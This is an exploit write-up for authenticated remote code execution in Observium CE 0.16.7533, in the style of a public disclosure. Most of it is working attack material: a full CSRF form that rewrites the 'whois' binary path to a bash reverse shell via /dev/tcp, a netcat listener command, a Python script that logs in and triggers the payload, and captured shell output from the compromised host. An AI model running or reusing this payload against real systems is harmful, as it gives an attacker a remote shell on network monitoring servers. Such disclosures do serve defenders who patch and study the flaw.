# Exploit title: Observium Commercial - Authenticated RCE# Author: Dolev Farhi# Contact: dolevf at protonmail.com# Date: 28-04-2016# Vendor homepage: http://observium.org/# Software version: CE 0.16.7533
Authenticated remote code execution
Using either CSRF or by editing the whois binary field in the Observium webui under Settings-> System Path, an attacker may also change the Path to either [whois, mtr, nmap] to any bash command,and by hitting the url: http://<ObserviumIP>/netcmd.php?cmd=whois&query=8.8.8.8
using any user on Observium (even low privileged) we can trigger a code execution.for example. setting up a listener
root@pt:~# nc -lvp 4444
listening on [any]4444...and a CSRF which looks like this:<!--<html><div align="center"><pre><h2><b>CSRF<b></h2><body><form
action="http://<observiumIP>/settings/section=paths/"
method="POST"><inputtype="hidden" name="temp_dir" value=""/><inputtype="hidden" name="varset_temp_dir" value=""/><inputtype="hidden" name="varset_rrdtool" value=""/><inputtype="hidden" name="fping" value=""/><inputtype="hidden" name="varset_fping" value=""/><inputtype="hidden" name="fping6" value=""/><inputtype="hidden" name="varset_fping6" value=""/><inputtype="hidden" name="svn" value=""/><inputtype="hidden" name="varset_svn" value=""/><inputtype="hidden" name="snmpget" value=""/><inputtype="hidden" name="varset_snmpget" value=""/><inputtype="hidden" name="snmpwalk" value=""/><inputtype="hidden" name="varset_snmpwalk" value=""/><inputtype="hidden" name="snmpbulkget" value=""/><inputtype="hidden" name="varset_snmpbulkget" value=""/><inputtype="hidden" name="snmpbulkwalk" value=""/><inputtype="hidden" name="varset_snmpbulkwalk" value=""/><inputtype="hidden" name="snmptranslate" value=""/><inputtype="hidden" name="varset_snmptranslate" value=""/><inputtype="hidden" name="ipmitool" value=""/><inputtype="hidden" name="varset_ipmitool" value=""/><inputtype="hidden" name="virsh" value=""/><inputtype="hidden" name="varset_virsh" value=""/><inputtype="hidden" name="wmic" value=""/><inputtype="hidden" name="varset_wmic" value=""/><inputtype="hidden" name="git" value=""/><inputtype="hidden" name="varset_git" value=""/><inputtype="hidden" name="whois" value="bash -i >& /dev/tcp/192.168.2.222/4444 0>&1; exit"/><inputtype="hidden" name="varset_whois" value=""/><inputtype="hidden" name="whois_custom" value="1"/><inputtype="hidden" name="file" value=""/><inputtype="hidden" name="varset_file" value=""/><inputtype="hidden" name="dot" value=""/><inputtype="hidden" name="varset_dot" value=""/><inputtype="submit" name="submit" value="save"/></form></body></div></html>or by changing the field of Path to 'whois' binary to 'bash -i >& /dev/tcp/attackerip/4444 0>&1; exit'and then visiting http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8, we trigger the code that is defined in the
whois parameter which gives us a reverse shell on the machine:
you may also use the following python instead:"""
import sys
import urllib
import urllib2
import cookielib
#!/usr/bin/python
username = 'test'
password = '123456'
timeout = 10
try:
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
login_data = urllib.urlencode({'username' : username, 'password' : password, 'submit' : ''})
opener.open('http://observium-server', login_data, timeout=timeout)
url = 'http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8'
resp = opener.open(url)
except Exception, e:
print e
sys.exit(1)
"""
listening on [any]4444...192.168.2.155: inverse host lookup failed: Unknown host
connect to [192.168.2.222]from(UNKNOWN)[192.168.2.155]52413
bash: no job control in this shell
bash:/root/.bashrc: Permission denied
bash-4.1$ ls -l /opt
ls -l /opt
total 48944
drwxrwxr-x12 100010004096 Apr 2713:47 observium
-rw-r--r--1 root root 50107191 Jan 2707:35 observium-community-latest.tar.gz
drwxr-xr-x.2 root root 4096 Mar 262015 rh